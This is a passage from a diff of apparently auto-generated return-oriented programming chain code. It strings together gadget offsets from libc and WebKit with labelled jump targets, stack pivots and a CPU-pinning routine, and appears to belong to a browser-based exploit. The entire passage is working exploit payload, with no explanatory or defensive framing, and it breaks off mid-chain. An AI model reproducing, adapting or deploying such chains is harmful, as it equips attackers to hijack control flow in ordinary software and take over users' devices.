[rdi], rax -libc_base+793877 //pop rsi -]); -//L5004: -db([176, 0]); // 0xb0 -set_gadget(libc_base+788575,); //pop rax -//L5005: -db([0, 0]); // 0x0 -set_gadgets([ -libc_base+547636, //add rax, rsi -libc_base+793877 //pop rsi -]); -db([8, 0]); // 0x8 -set_gadgets([ -libc_base+248252, //sub rdi, rsi ; mov rdx, rdi -libc_base+471355, //mov [rdi], rax -libc_base+792472 //pop rcx -]); -//L5006: -db([0, 0]); // 0x0 -set_gadget(libc_base+788575,); //pop rax -//L5007: -db([0, 0]); // 0x0 -set_gadgets([ -libc_base+191168, //mov rax, [rdi] -libc_base+793877 //pop rsi -]); -db([4294967288, 4294967295]); // -0x8 -set_gadgets([ -libc_base+248252, //sub rdi, rsi ; mov rdx, rdi -libc_base+877175, //sub rax, rcx ; sbb rdx, rcx -libc_base+793877, //pop rsi -ropchain+279728, //L5008 -webkit_base+7438103, //mov [rsi], rax -libc_base+793877, //pop rsi -ropchain+279744, //L5009 -webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); -//L5008: -db([0, 0]); // 0x0 +//L4970: +db([2, 0]); // 0x2 set_gadget(libc_base+788575,); //pop rax -//L5009: -db([0, 0]); // 0x0 +//L4971: +db([2, 0]); // 0x2 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877 //pop rsi @@ -36474,385 +36461,474 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi webkit_base+1838146, //add rax, rcx libc_base+793877, //pop rsi -ropchain+279832, //L5010 +ropchain+280928, //L4972 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L5010: +//L4972: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+279888, //L5013 +ropchain+280984, //L4974 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L5013: +//L4974: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+279960, //L5014 +ropchain+281120, //L4977 +webkit_base+7438103, //mov [rsi], rax +libc_base+793877, //pop rsi +ropchain+281136, //L4978 +webkit_base+7438103, //mov [rsi], rax +libc_base+50775, //mov rax, rdi +libc_base+793877, //pop rsi +ropchain+281104, //L4976 webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L5014: +//L4976: +db([0, 0]); // 0x0 +set_gadget(libc_base+206806,); //pop rdi +//L4977: +db([0, 0]); // 0x0 +set_gadget(libc_base+788575,); //pop rax +//L4978: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+280016, //L5017 +ropchain+281280, //L4981 +webkit_base+7438103, //mov [rsi], rax +libc_base+50775, //mov rax, rdi +libc_base+793877, //pop rsi +ropchain+281248, //L4979 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx +libc_base+793877, //pop rsi +ropchain+281264, //L4980 +webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); -//L5017: +//L4979: db([0, 0]); // 0x0 -set_gadgets([ -webkit_base+954100, //mov [rax], ecx -libc_base+191168, //mov rax, [rdi] -libc_base+793877 //pop rsi -]); -db([4294967288, 4294967295]); // -0x8 +set_gadget(libc_base+206806,); //pop rdi +//L4980: +db([0, 0]); // 0x0 +set_gadget(libc_base+788575,); //pop rax +//L4981: +db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +db([8, 0]); // 0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi +libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+280120, //L5020 +ropchain+281360, //L4982 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); -//L5018: -db([4294967036, 4294967295]); // -0x104 -set_gadget(libc_base+792472,); //pop rcx -//L5020: +//L4982: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L4983: +db([16, 0]); // 0x10 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+280224, //L5023 +ropchain+281480, //L4987 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+280208, //L5022 +ropchain+281464, //L4985 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L5022: +//L4985: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L5023: +//L4987: db([0, 0]); // 0x0 set_gadgets([ -libc_base+191169, //mov eax, [rdi] -libc_base+793877, //pop rsi -ropchain+280392, //L5026 -webkit_base+7438103, //mov [rsi], rax +libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+280408, //L5027 +ropchain+281568, //L4988 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+280360, //L5024 +ropchain+281584, //L4990 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi -libc_base+793877, //pop rsi -ropchain+280376, //L5025 -webkit_base+7438103, //mov [rsi], rax -webkit_base+3750700 //pop r11 ; mov rax, rdi +libc_base+792472 //pop rcx ]); -//L5024: -db([0, 0]); // 0x0 -set_gadget(libc_base+792472,); //pop rcx -//L5025: +//L4988: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L5026: +//L4990: db([0, 0]); // 0x0 -set_gadget(libc_base+788575,); //pop rax -//L5027: +set_gadgets([ +libc_base+191168, //mov rax, [rdi] +libc_base+793877, //pop rsi +ropchain+281640, //L4991 +webkit_base+7438103, //mov [rsi], rax +libc_base+882884, //mov rax, rcx +libc_base+792472 //pop rcx +]); +//L4991: db([0, 0]); // 0x0 set_gadgets([ -webkit_base+6227286, //movsxd rax, edi +webkit_base+2997875, //mov [rax], rcx +libc_base+191168, //mov rax, [rdi] +libc_base+793877 //pop rsi +]); +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+280504, //L5029 +ropchain+281768, //L4994 webkit_base+7438103, //mov [rsi], rax -webkit_base+1786005, //mov rax, r11 +libc_base+759626, //mov rax, r8 libc_base+793877, //pop rsi -ropchain+280488, //L5028 +ropchain+281752, //L4993 webkit_base+7438103, //mov [rsi], rax libc_base+206806 //pop rdi ]); -//L5028: +//L4993: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L5029: +//L4994: db([0, 0]); // 0x0 -set_gadget(libc_base+793877,); //pop rsi -db([8, 0]); // 0x8 +set_gadgets([ +libc_base+191168, //mov rax, [rdi] +libc_base+793877 //pop rsi +]); +db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi -libc_base+471355, //mov [rdi], rax -libc_base+759626, //mov rax, r8 libc_base+793877, //pop rsi -ropchain+280600, //L5031 +ropchain+281864, //L4995 webkit_base+7438103, //mov [rsi], rax -libc_base+793877 //pop rsi +libc_base+793877, //pop rsi +ropchain+281880, //L4996 +webkit_base+7438103, //mov [rsi], rax +webkit_base+432898 //pop r8 ]); -//L5030: -db([4294967040, 4294967295]); // -0x100 +//L4995: +db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L5031: +//L4996: db([0, 0]); // 0x0 set_gadgets([ -libc_base+547636, //add rax, rsi +libc_base+191168, //mov rax, [rdi] libc_base+793877 //pop rsi ]); -db([8, 0]); // 0x8 +db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi -libc_base+471355, //mov [rdi], rax +libc_base+793877, //pop rsi +ropchain+281992, //L4997 +webkit_base+7438103, //mov [rsi], rax +libc_base+793877, //pop rsi +ropchain+281976, //L4998 +webkit_base+7438103, //mov [rsi], rax libc_base+788575 //pop rax ]); -//L5032: -db([51, 0]); // 0x33 +//L4998: +db([0, 0]); // 0x0 +set_gadget(libc_base+811575,); //pop rsp +//L4997: +db([0, 0]); // 0x0 +//_pin_to_cpu: set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi +libc_base+793877, //pop rsi +ropchain+282064, //L4999 +webkit_base+7438103, //mov [rsi], rax +libc_base+759626, //mov rax, r8 +webkit_base+432898 //pop r8 +]); +//L4999: +db([0, 0]); // 0x0 +set_gadgets([ libc_base+471355, //mov [rdi], rax -libc_base+788575 //pop rax +libc_base+50775, //mov rax, rdi +libc_base+793877, //pop rsi +ropchain+282128, //L5002 +webkit_base+7438103, //mov [rsi], rax +libc_base+759626, //mov rax, r8 +webkit_base+432898 //pop r8 ]); -//L5033: -db([41, 0]); // 0x29 +//L5002: +db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi -db([8, 0]); // 0x8 +db([24, 0]); // 0x18 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi -libc_base+471355, //mov [rdi], rax +//L5003: +libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+280800, //L5036 +ropchain+282200, //L5004 webkit_base+7438103, //mov [rsi], rax -libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi +webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L5034: -db([16, 0]); // 0x10 -set_gadget(libc_base+792472,); //pop rcx -//L5036: +//L5004: +db([0, 0]); // 0x0 +set_gadget(libc_base+788575,); //pop rax +//L5005: +db([0, 0]); // 0x0 +set_gadget(libc_base+206806,); //pop rdi +//L5006: db([0, 0]); // 0x0 set_gadgets([ -libc_base+547636, //add rax, rsi +webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+280904, //L5039 +ropchain+282320, //L5007 webkit_base+7438103, //mov [rsi], rax -libc_base+50775, //mov rax, rdi +webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+280888, //L5038 +ropchain+282352, //L5010 webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx +libc_base+759626, //mov rax, r8 libc_base+792472 //pop rcx ]); -//L5038: +//L5007: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L5008: +db([4294967272, 4294967295]); // -0x18 set_gadget(libc_base+206806,); //pop rdi -//L5039: +//L5010: db([0, 0]); // 0x0 set_gadgets([ -libc_base+191168, //mov rax, [rdi] -libc_base+793877, //pop rsi -ropchain+281024, //L5041 -webkit_base+7438103, //mov [rsi], rax +libc_base+547636, //add rax, rsi +webkit_base+2997875, //mov [rax], rcx libc_base+793877, //pop rsi -ropchain+281056, //L5043 +ropchain+282416, //L5012 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx +libc_base+792472 //pop rcx +]); +//L5012: +db([0, 0]); // 0x0 +//L5011: +set_gadgets([ libc_base+793877, //pop rsi -ropchain+281040, //L5042 +ropchain+282464, //L5014 webkit_base+7438103, //mov [rsi], rax -libc_base+793877 //pop rsi +libc_base+759626, //mov rax, r8 +libc_base+792472 //pop rcx ]); -//L5040: -db([24, 0]); // 0x18 -set_gadget(libc_base+792472,); //pop rcx -//L5041: -db([0, 0]); // 0x0 -set_gadget(libc_base+206806,); //pop rdi -//L5042: -db([0, 0]); // 0x0 -set_gadget(libc_base+788575,); //pop rax -//L5043: +//L5014: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L5015: +db([4294967272, 4294967295]); // -0x18 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+281160, //L5046 +ropchain+282584, //L5019 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+281144, //L5045 +ropchain+282568, //L5017 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L5045: +//L5017: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L5046: +//L5019: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+281304, //L5049 +ropchain+282728, //L5022 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+281272, //L5047 +ropchain+282696, //L5020 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+281288, //L5048 +ropchain+282712, //L5021 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); -//L5047: +//L5020: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L5048: +//L5021: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L5049: +//L5022: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi +libc_base+471355, //mov [rdi], rax +libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+281376, //L5050 +ropchain+282808, //L5023 webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx -libc_base+792472 //pop rcx +webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L5050: +//L5023: db([0, 0]); // 0x0 +set_gadget(libc_base+788575,); //pop rax +//L5024: +db([128, 0]); // 0x80 +set_gadget(libc_base+206806,); //pop rdi +//L5025: +db([128, 0]); // 0x80 set_gadgets([ -libc_base+471355, //mov [rdi], rax +webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+281432, //L5053 +ropchain+282936, //L5027 webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx -libc_base+792472 //pop rcx +webkit_base+1786005, //mov rax, r11 +libc_base+793877, //pop rsi +ropchain+282920, //L5026 +webkit_base+7438103, //mov [rsi], rax +libc_base+206806 //pop rdi ]); -//L5053: +//L5026: +db([0, 0]); // 0x0 +set_gadget(libc_base+788575,); //pop rax +//L5027: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax -libc_base+793877, //pop rsi -ropchain+281528, //L5056 -webkit_base+7438103, //mov [rsi], rax -libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi +libc_base+788575 //pop rax ]); -//L5054: -db([4294967028, 4294967295]); // -0x10c -set_gadget(libc_base+792472,); //pop rcx -//L5056: -db([0, 0]); // 0x0 +//L5028: +db([8, 0]); // 0x8 +set_gadget(libc_base+793877,); //pop rsi +db([8, 0]); // 0x8 set_gadgets([ -libc_base+547636, //add rax, rsi -libc_base+793877, //pop rsi -ropchain+281632, //L5059 -webkit_base+7438103, //mov [rsi], rax +libc_base+248252, //sub rdi, rsi ; mov rdx, rdi +libc_base+471355, //mov [rdi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+281616, //L5058 +ropchain+283064, //L5029 webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx -libc_base+792472 //pop rcx +webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L5058: +//L5029: db([0, 0]); // 0x0 +set_gadget(libc_base+788575,); //pop rax +//L5030: +db([8, 0]); // 0x8 set_gadget(libc_base+206806,); //pop rdi -//L5059: -db([0, 0]); // 0x0 +//L5031: +db([8, 0]); // 0x8 set_gadgets([ -libc_base+191169, //mov eax, [rdi] +webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+281800, //L5062 +ropchain+283200, //L5032 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+281816, //L5063 +ropchain+283232, //L5034 webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx +webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+281768, //L5060 +ropchain+283216, //L5033 webkit_base+7438103, //mov [rsi], rax +libc_base+792472 //pop rcx +]); +//L5032: +db([0, 0]); // 0x0 +set_gadget(libc_base+206806,); //pop rdi +//L5033: +db([0, 0]); // 0x0 +set_gadget(libc_base+788575,); //pop rax +//L5034: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+191168, //mov rax, [rdi] +libc_base+793877 //pop rsi +]); +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+248252, //sub rdi, rsi ; mov rdx, rdi +webkit_base+1506828, //imul rax, rcx +libc_base+793877 //pop rsi +]); +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+248252, //sub rdi, rsi ; mov rdx, rdi +libc_base+471355, //mov [rdi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+281784, //L5061 +ropchain+283352, //L5035 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L5060: -db([0, 0]); // 0x0 -set_gadget(libc_base+792472,); //pop rcx -//L5061: -db([0, 0]); // 0x0 -set_gadget(libc_base+206806,); //pop rdi -//L5062: +//L5035: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L5063: -db([0, 0]); // 0x0 +//L5036: +db([1, 0]); // 0x1 +set_gadget(libc_base+206806,); //pop rdi +//L5037: +db([1, 0]); // 0x1 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+281976, //L5067 +ropchain+283488, //L5038 webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+281928, //L5064 +ropchain+283520, //L5040 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+281960, //L5066 +ropchain+283504, //L5039 webkit_base+7438103, //mov [rsi], rax -webkit_base+3750700 //pop r11 ; mov rax, rdi +libc_base+792472 //pop rcx ]); -//L5064: +//L5038: db([0, 0]); // 0x0 -set_gadget(libc_base+792472,); //pop rcx -//L5065: -db([4, 0]); // 0x4 set_gadget(libc_base+206806,); //pop rdi -//L5066: +//L5039: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L5067: +//L5040: db([0, 0]); // 0x0 set_gadgets([ -webkit_base+1506828, //imul rax, rcx +libc_base+191168, //mov rax, [rdi] +libc_base+793877 //pop rsi +]); +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+248252, //sub rdi, rsi ; mov rdx, rdi +libc_base+877175, //sub rax, rcx ; sbb rdx, rcx libc_base+793877, //pop rsi -ropchain+282048, //L5068 +ropchain+283624, //L5041 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+282064, //L5069 +ropchain+283640, //L5042 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); -//L5068: +//L5041: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L5069: +//L5042: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] @@ -36862,834 +36938,846 @@ db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi webkit_base+1838146, //add rax, rcx -libc_base+793877, //pop rsi -ropchain+282152, //L5070 -webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx -libc_base+792472 //pop rcx +libc_base+793877 //pop rsi ]); -//L5070: -db([0, 0]); // 0x0 +db([8, 0]); // 0x8 set_gadgets([ -libc_base+191168, //mov rax, [rdi] +libc_base+248252, //sub rdi, rsi ; mov rdx, rdi +libc_base+471355, //mov [rdi], rax +libc_base+788575 //pop rax +]); +//L5043: +db([8, 0]); // 0x8 +set_gadget(libc_base+793877,); //pop rsi +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+248252, //sub rdi, rsi ; mov rdx, rdi +libc_base+471355, //mov [rdi], rax +libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+282208, //L5073 +ropchain+283808, //L5044 webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx -libc_base+792472 //pop rcx +webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L5073: +//L5044: db([0, 0]); // 0x0 -set_gadget(libc_base+793877,); //pop rsi -db([4294967288, 4294967295]); // -0x8 +set_gadget(libc_base+788575,); //pop rax +//L5045: +db([8, 0]); // 0x8 +set_gadget(libc_base+206806,); //pop rdi +//L5046: +db([8, 0]); // 0x8 set_gadgets([ -libc_base+248252, //sub rdi, rsi ; mov rdx, rdi +webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+282344, //L5075 +ropchain+283944, //L5047 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+282360, //L5076 +ropchain+283976, //L5049 webkit_base+7438103, //mov [rsi], rax -libc_base+50775, //mov rax, rdi +webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+282328, //L5074 +ropchain+283960, //L5048 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); -//L5074: +//L5047: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L5075: +//L5048: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L5076: +//L5049: db([0, 0]); // 0x0 set_gadgets([ -libc_base+191169, //mov eax, [rdi] -libc_base+793877, //pop rsi -ropchain+282528, //L5079 -webkit_base+7438103, //mov [rsi], rax -libc_base+793877, //pop rsi -ropchain+282544, //L5080 -webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx +libc_base+191168, //mov rax, [rdi] +libc_base+793877 //pop rsi +]); +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+248252, //sub rdi, rsi ; mov rdx, rdi +webkit_base+1506828, //imul rax, rcx libc_base+793877, //pop rsi -ropchain+282496, //L5077 +ropchain+284080, //L5050 webkit_base+7438103, //mov [rsi], rax -libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+282512, //L5078 +ropchain+284096, //L5051 webkit_base+7438103, //mov [rsi], rax -webkit_base+3750700 //pop r11 ; mov rax, rdi +libc_base+792472 //pop rcx ]); -//L5077: -db([0, 0]); // 0x0 -set_gadget(libc_base+792472,); //pop rcx -//L5078: -db([0, 0]); // 0x0 -set_gadget(libc_base+206806,); //pop rdi -//L5079: +//L5050: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L5080: +//L5051: db([0, 0]); // 0x0 set_gadgets([ -webkit_base+6227286, //movsxd rax, edi +libc_base+191168, //mov rax, [rdi] +libc_base+793877 //pop rsi +]); +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+282616, //L5081 +ropchain+284264, //L5054 webkit_base+7438103, //mov [rsi], rax +libc_base+272260, //mov rax, rsi libc_base+793877, //pop rsi -ropchain+282632, //L5082 +ropchain+284232, //L5052 webkit_base+7438103, //mov [rsi], rax -libc_base+206806 //pop rdi +libc_base+882884, //mov rax, rcx +libc_base+793877, //pop rsi +ropchain+284248, //L5053 +webkit_base+7438103, //mov [rsi], rax +libc_base+792472 //pop rcx ]); -//L5081: +//L5052: +db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L5053: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L5082: +//L5054: +db([0, 0]); // 0x0 +set_gadget(webkit_base+105267,); //pop rdx db([0, 0]); // 0x0 set_gadgets([ -webkit_base+6227286, //movsxd rax, edi +webkit_base+7047212, //div rsi ; add rax, rcx +libc_base+877175, //sub rax, rcx ; sbb rdx, rcx libc_base+793877, //pop rsi -ropchain+282728, //L5084 +ropchain+284392, //L5055 webkit_base+7438103, //mov [rsi], rax -webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+282712, //L5083 +ropchain+284424, //L5057 webkit_base+7438103, //mov [rsi], rax -libc_base+206806 //pop rdi +libc_base+882884, //mov rax, rcx +libc_base+793877, //pop rsi +ropchain+284408, //L5056 +webkit_base+7438103, //mov [rsi], rax +libc_base+792472 //pop rcx ]); -//L5083: +//L5055: +db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L5056: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L5084: +//L5057: db([0, 0]); // 0x0 -set_gadget(libc_base+793877,); //pop rsi -db([8, 0]); // 0x8 -set_gadgets([ -libc_base+248252, //sub rdi, rsi ; mov rdx, rdi -libc_base+471355, //mov [rdi], rax -libc_base+788575, //pop rax -//L5086: -ropchain+282832, //L5085 -libc_base+793877 //pop rsi -]); -db([8, 0]); // 0x8 set_gadgets([ -libc_base+248252, //sub rdi, rsi ; mov rdx, rdi -libc_base+471355, //mov [rdi], rax -libc_base+811575, //pop rsp -ropchain+294288, //L4369 -//L5085: -libc_base+882884, //mov rax, rcx +libc_base+191168, //mov rax, [rdi] libc_base+793877 //pop rsi ]); -db([4294967256, 4294967295]); // -0x28 +db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi +webkit_base+14959219, //cmp rax, rcx ; sete al +webkit_base+48555, //setl al +libc_base+269973, //movzx eax, al libc_base+793877, //pop rsi -ropchain+282968, //L5088 +ropchain+284592, //L5059 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+282984, //L5089 +ropchain+284608, //L5060 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+282952, //L5087 +ropchain+284576, //L5058 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L5087: +//L5058: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L5088: +//L5059: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L5089: +//L5060: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+283088, //L5092 +ropchain+284712, //L5063 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+283136, //L5094 +ropchain+284760, //L5065 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+283120, //L5093 +ropchain+284744, //L5064 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L5092: +//L5063: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi -//L5091: +//L5062: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L5093: +//L5064: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L5094: +//L5065: db([0, 0]); // 0x0 set_gadgets([ webkit_base+11676600, //cmp rax, rsi ; sete al libc_base+269973, //movzx eax, al webkit_base+414627, //shl rax, 3 libc_base+793877, //pop rsi -ropchain+283248, //L5095+8 +ropchain+284872, //L5066+8 libc_base+547636, //add rax, rsi libc_base+186490, //mov rax, [rax] libc_base+793877, //pop rsi -ropchain+283240, //L5095 +ropchain+284864, //L5066 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+811575 //pop rsp ]); -//L5095: +//L5066: db([0, 0]); // 0x0 set_gadgets([ -ropchain+283264, //L5095+24 -ropchain+283712, //L5090 +ropchain+284888, //L5066+24 +ropchain+284904, //L5061 +libc_base+811575, //pop rsp +ropchain+284920, //L5067 +//L5061: +libc_base+811575, //pop rsp +ropchain+286672, //L5068 +//L5067: libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+283320, //L5097 +ropchain+284960, //L5069 webkit_base+7438103, //mov [rsi], rax -libc_base+788575 //pop rax +webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L5096: +//L5069: db([0, 0]); // 0x0 -set_gadget(libc_base+792472,); //pop rcx -//L5097: +set_gadget(libc_base+788575,); //pop rax +//L5070: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L5098: +//L5071: db([0, 0]); // 0x0 set_gadgets([ -libc_base+191169, //mov eax, [rdi] -libc_base+793877, //pop rsi -ropchain+283504, //L5101 -webkit_base+7438103, //mov [rsi], rax -libc_base+793877, //pop rsi -ropchain+283520, //L5102 -webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx +webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+283472, //L5099 +ropchain+285088, //L5073 webkit_base+7438103, //mov [rsi], rax -libc_base+50775, //mov rax, rdi +webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+283488, //L5100 +ropchain+285072, //L5072 webkit_base+7438103, //mov [rsi], rax -webkit_base+3750700 //pop r11 ; mov rax, rdi +libc_base+206806 //pop rdi ]); -//L5099: -db([0, 0]); // 0x0 -set_gadget(libc_base+792472,); //pop rcx -//L5100: -db([0, 0]); // 0x0 -set_gadget(libc_base+206806,); //pop rdi -//L5101: +//L5072: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L5102: +//L5073: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop 